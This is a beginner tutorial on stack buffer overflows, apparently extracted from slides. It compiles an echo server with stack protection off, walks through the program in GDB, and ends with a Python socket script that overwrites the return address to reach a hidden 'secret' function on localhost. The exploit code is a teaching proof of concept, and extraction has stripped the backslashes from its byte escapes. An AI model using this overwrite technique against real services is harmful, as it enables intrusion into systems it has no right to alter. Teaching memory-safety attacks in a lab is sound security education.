Buffer overflow tutorial

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Buffer overflow tutorial

  1. 1. Buffer Overflow Tutorial 1 This document aims to teach people how to create a piece of data that can alter the flow of a program in such a way that it behaves in a way for which it was not intended . To begin this lesson you need an understanding of how a function is called in a computer application written in the C programming language. A group of machine instructions combined together, which serve a single purpose is called a “function” or sometimes a “method”. When a programmer creates a function, the name of the function is usually the decision of the programmer, unless the function was acquired by some other means. These instructions are written in a readable language called the C programming language. When the programmer has finished writing the application, they will run it through a program that is an advanced find-and-replace tool. This tool converts the human readable programming language into machine code and then structures it into a file format suitable for various operating systems. Two of the most well file formats are called the Windows Portable Executable (PE) and the Linux Executable and Linkable Format (ELF). When an ELF or a PE file is executed, the file is loaded into RAM where it is assigned a memory range for its Stack and its Heap. The Heap memory is for storing data which is assigned a memory address at runtime (for example data stored in a variable created using the malloc() function). The stack is used for storing variables whose memory address is pre-calculated before the program is executed. When a child function is called, the CPU creates a new logical block in the stack called a stack frame. The first piece of information put onto the stack frame is the memory address of the parent instruction that called the child function. This memory address has been incremented by one so that it points to the next instruction, to prevent returning to the calling instruction and getting stuck in an infinite loop. When the child function has completed, it pops all the data off the stack frame until it reaches the last instruction which is the return address pointing back to the parent function. By grouping variables and return addresses into the same location in memory we can begin to create our buffer overflow and stack overflow attack. By overfilling the variables with data, this causes our application to write into the memory beside the variables which means we can modify the return address. Imagine a situation where an application calls a function that is vulnerable to a buffer overflow attack. After calling the vulnerable function, the application tests if a condition is true (using a secret rule). From the attackers point of view, the secret condition is not important. However the instructions that would be executed if the condition is true, are the target for an attack. To do this the attacker must overflow the buffer in the vulnerable function and must write a memory address into the buffer which overwrites the return address at the bottom of the stack frame. This address should not point at the condition, but it should point at the first instruction that would be executed if the condition were true. To start you compile and run the program, it opens a network socket on a port number supplied in the parameter and waits for a connection. When a network connection is initiated, it echos back whatever is sent. To compile the program on a 64bit machine running Linux use the following command.: gcc -fno-stack-protector -mpreferred-stack-boundary=4 -ggdb program.c -o a.out To run the program you can type: . /a.out 8080 To connect to the program you can use telnet, but it will not permit you to type non-printable characters outside of the ASCII range. Non-printable character are necessary to write a return address in binary. telnet localhost 8080
  2. 2. Alternatively, if you do not wish to use telnet and would like to use a script here is an example in python (note the memory addresses on Intel CPUs are in little endian format): import socket host = "localhost" port = 8080 size = 30 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send("AAAAAAAx00") data = s.recv(size) s.close() print data There is also a better way to execute your application than “./a.out 8080”. If you launch your application inside a debugger such as GDB you can add breakpoints to pause execution, you can see the instructions, you can see the memory addresses of the instructions and you can see your stack frame. gdb ./a.out Inside GDB the following commands are useful to know. disas HandleTCPClient Disassemble the function “HandleTCPClient” disas vulnerable Disassemble the function “vulnerable” set args 8080 Set the program arguments to “8080” break *0x1234567 Set a breakpoint to pause execution at memory address “1234567”. Hint: try setting this to the last instruction in the vulnerable function. break main Set a breakpoint at the main function run Execute the program until a breakpoint is reached step Execute the next instruction in the executable info frame Display the current stack frame information. Try doing this when you a the breakpoint. x/128xb $rsp Display 128 bytes of memory in hexadecimal ($rsp is the stack pointer, sometimes $esp). print variable Display value of variable continue Continue executing the program until the next breakpoint is reached. kill Terminate the application without exiting the debugger quit Exit the GDB application To disassemble the executable outside the debugger try: objdump -d ./a.out > output.txt Note: If you kill the program mid execution, then it may hold the listening port in a waiting state for approximately 55 seconds. This timeout can be monitored using the command : sudo watch -n 0 netstat -tunpal
  3. 3. The trick to creating an exploit for the application is to create a long string with the virtual address of the instruction we want to jump to. This virtual address should be appended to the end of the buffer so that it overwrites the return address at the bottom of the stack frame. To find this address run the following command: gdb ./a.out 8080 (gdb) disas HandleTCPClient It should give the following output: 0x0000000000400bf3 <+74>: callq 0x400b6a <vulnerable> 0x0000000000400bf8 <+79>: lea -0x40(%rbp),%rax 0x0000000000400bfc <+83>: mov $0x400e59,%esi 0x0000000000400c01 <+88>: mov %rax,%rdi 0x0000000000400c04 <+91>: callq 0x4008a8 <strcmp@plt> 0x0000000000400c09 <+96>: test %eax,%eax 0x0000000000400c0b <+98>: jne 0x400c17 <HandleTCPClient+110> 0x0000000000400c0d <+100>: mov $0x0,%eax 0x0000000000400c12 <+105>: callq 0x400b99 <secret> Notice the address of the line that executes the function secret() is “400c12”. Lets append this memory address to our python exploit. You will need to customize the address for your own system. import socket host = "localhost" port = 8080 size = 30 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send("AAAAAAAAAAAAAAAAAAAAAAAAx12x0cx40x00x00") data = s.recv(size) s.close() print data Run the exploit using the following command: python pycracker.py The server should output the following lines: Talking with client 127.0.0.1 This application has been cracked! Bus error

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